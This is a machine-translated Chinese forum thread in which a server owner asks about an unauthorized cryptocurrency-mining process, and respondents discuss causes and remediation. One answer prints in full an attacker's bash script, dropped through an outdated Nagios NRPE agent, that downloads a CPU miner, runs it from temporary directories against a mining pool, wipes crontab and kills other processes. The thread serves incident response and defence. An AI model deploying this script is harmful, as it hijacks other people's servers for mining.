我运行一台专用服务器,最近在那儿注意到CPU使用率很高,并检查了进程。似乎有人(密克帐户)正在我的服务器上进行挖掘。这怎么可能?该过程如下。我已暂停该帐户。我还需要做什么?
25516 mick 30 10 778m 6728 1132 S 740.5 0.2 8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
我运行一台专用服务器,最近在那儿注意到CPU使用率很高,并检查了进程。似乎有人(密克帐户)正在我的服务器上进行挖掘。这怎么可能?该过程如下。我已暂停该帐户。我还需要做什么?
25516 mick 30 10 778m 6728 1132 S 740.5 0.2 8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Answers:
如果您正在运行允许服务器端脚本(php,ruby等)的Web服务器,则此操作非常容易。
用户所需要做的就是生成一个脚本,该脚本将文件下载到该文件/tmp/sh64
然后运行。Web脚本通常需要能够执行外部程序,因此很难防止这种活动。
如果该mick
帐户与用于运行用户的Web脚本的帐户相同,那么我想说不,您没有被黑。只是一个用户滥用其帐户。
如果要防止这种行为,有几种方法可以防止它。您可以禁止调用外部程序。或者,您可以执行诸如杀死长时间运行的程序的操作(例如,任何运行时间超过60秒的程序)。
如果不了解有关您的设置的更多详细信息,则很难确定最佳的操作方案。
我有一个类似的问题。他们利用了Nagios NRPE代理的过时版本来运行一个wget
脚本,该脚本安装并配置了Sourceforge的比特币矿工(dont_blame_nrpe
启用了NRPE守护程序)。我没有发现任何迹象表明我的计算机上的尝试是持久的。
这是用于比特币矿工安装和设置的脚本:
#!/bin/bash
miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then
system=`uname -a`
i686=`echo $system|grep i686`
if ! [ -z "$i686" ]
then
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
else
url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
fi
dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /var/tmp/ trying in /dev/shm
if [ -z "$myproc" ]
then
#dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
#Failed in /tmp/ trying in /tmp
if [ -z "$myproc" ]
then
dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
fi
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
crontab -r
fi
crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'
该脚本完全以Nagios用户身份运行,因此不需要任何root用户访问权限。
您的系统肯定已受到威胁或被黑客入侵。还有其他故事描述正在安装类似的矿机。
我会认为您的系统已受到威胁,并从其中开始进行关键操作,因此,如果尚未进行备份,则可以进行备份。
如果您对它们的进入方式感到好奇,则需要获取已安装的服务(Web,mysql等)的完整列表,并查看是否存在任何可以使某人获得更高特权的主动攻击。
我将从任何基于Web的应用程序的Web支持开始。通常情况下,这些应用程序可能会缓冲区溢出并可以访问修改Web服务器的堆栈,以便可以安装其他应用程序。
通常情况下,这些类型的危害可以是孤立的事件,因此仅删除有问题的软件和恶意软件就足以将其根除,而不必忍受进行完整恢复/设置系统所花费的时间。
如果该系统是使用基于VPS的映像构建的,那么我将与提供商合作,因为对其进行修补似乎对所有客户来说都是他们的最大利益。
包装盒上的所有内容都必须经过仔细检查,并且本质上是不可信的,但是我要花一点时间看看您是否无法弄清攻击者从何处登录(如果有的话)。他们可能会使用破坏系统后添加到系统的SSH帐户登录。
这可能是一项艰巨的任务,需要花费很多天来进行分析,尤其是如果您不能信任包装盒上提供的任何工具来协助完成这项工作。我鼓励任何人花时间了解他们的系统是如何受到损害的,以便您至少可以通过此特定媒介来降低将来再次发生该系统的风险。
如果这不是生产问题,那么这实际上是一个很好的学习机会,可以深入了解如何破坏系统以及攻击者可以“利用”访问方式。
由于该系统用于采矿目的,因此他们很可能使用了自动脚本工具集,因为攻击足够多的系统来设置僵尸矿工似乎将花费大量时间。当使用此类工具时,它们通常在构造上都是次要的,只是仅仅尽力做到最低限度来站稳脚跟,然后提供有效载荷(挖掘软件),因此您可能会很幸运并获得其他一些见解。他们如何进入。
mick
帐户是运行脚本的用户,则可以轻松完成此操作而无需对服务器进行黑客攻击。虐待,是的。哈克,不。